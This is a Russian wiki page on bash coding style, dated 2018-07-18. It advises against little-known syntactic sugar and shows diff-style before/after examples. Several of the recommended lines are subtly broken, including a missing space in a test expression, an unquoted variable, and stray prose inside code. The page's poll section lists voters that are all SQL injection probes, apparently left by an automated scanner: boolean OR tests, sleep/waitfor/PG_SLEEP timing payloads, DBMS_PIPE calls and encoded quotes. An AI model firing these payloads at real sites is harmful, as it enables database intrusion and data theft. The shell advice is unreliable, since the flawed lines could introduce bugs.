2018-07-18 Использование Не Популярного Сахара

Использование не всем известного сахара усложняет чтение кода и приводит к потенциальным ошибкам в будущем

--- [ "$date_now" -le "$date_min" ] && echo NIGHT && return 0
+++ [ "$date_now" -le "$date_min" ] && { echo NIGHT; return 0; }
 
--- if [ "$method" == "auth" ] || [ "$method" == "web" ] || [ "$method" == "xml" ]; then
+++ if [ "$method" = "auth" -o "$method" = "web" -o "$method" = "xml" ]; then
 
---[ -n $cert_date_new_start ] && [[ "$cert_date_new_start" -gt "$CERT_DATE_CUR" ]] && return 0
+++[ -n $cert_date_new_start -a "$cert_date_new_start" -gt "$CERT_DATE_CUR" ] && return 0
 
---[ "$DAYS_BEFORE_FINISH" == "$DAYS_FATAL" ] && [ "$(time_of_day)" == 'DAY' ] && STATUS="FATAL "
+++[ "$DAYS_BEFORE_FINISH" ="$DAYS_FATAL" -a "$(time_of_day)" = 'DAY' ] && STATUS="FATAL "
 
 
---[ "$prev" = "$new" ] && echo OK && return 0
+++[ "$prev" = "$new" ] && { echo OK; return 0; }
 
 
---(( new < prev )) && echo OK && return 0
+++Это было бы ошибкой [ $new -lt $prev ] && { echo OK; return 0; }
+++ # используем круглые скобки тк здесь bigint
+++(( new < prev )) && echo OK && return 0
 
---tr ':' ' ' < /proc/net/dev | grep -v 'lo' | grep "[0-9]"
+++cat /proc/net/dev | tr ':' ' ' | grep -v 'lo' | grep "[0-9]"
 
---[ "$(check_diff "$err_prv" "$err_new")" == 'FAIL' ] && rc=1 && break
+++[ "$(check_diff "$err_prv" "$err_new")" = 'FAIL' ] && { rc=1 ; break; }
Прочитал правила разработки как не надо делать 2018-07-18 использование не популярного сахара
Yes(31) No(0) Clear

Yes:
, 1, -1 OR 2+448-448-1=0+0+0+1 -- , -1 OR 3+448-448-1=0+0+0+1 -- , -1 OR 2+893-893-1=0+0+0+1, -1 OR 3+893-893-1=0+0+0+1, -1' OR 2+739-739-1=0+0+0+1 -- , -1' OR 3+739-739-1=0+0+0+1 -- , -1' OR 2+75-75-1=0+0+0+1 or 'rmePhlf4'=', -1' OR 3+75-75-1=0+0+0+1 or 'rmePhlf4'=', -1" OR 2+44-44-1=0+0+0+1 -- , -1" OR 3+44-44-1=0+0+0+1 -- , if(now()=sysdate(),sleep(15),0), 0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z, 0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z, (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/, -1; waitfor delay '0:0:15' -- , -1); waitfor delay '0:0:15' -- , 1 waitfor delay '0:0:15' -- , qvlzylIE'; waitfor delay '0:0:15' -- , -5 OR 539=(SELECT 539 FROM PG_SLEEP(15))--, -5) OR 232=(SELECT 232 FROM PG_SLEEP(15))--, -1)) OR 309=(SELECT 309 FROM PG_SLEEP(15))--, q3bEA3xD' OR 452=(SELECT 452 FROM PG_SLEEP(15))--, io2cHSnh') OR 43=(SELECT 43 FROM PG_SLEEP(15))--, mFgzUsrS')) OR 592=(SELECT 592 FROM PG_SLEEP(15))--, 1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99), 1', 1'", 1%2527%2522, @@s2tk9,

No:

~~OWNERAPPROVE~~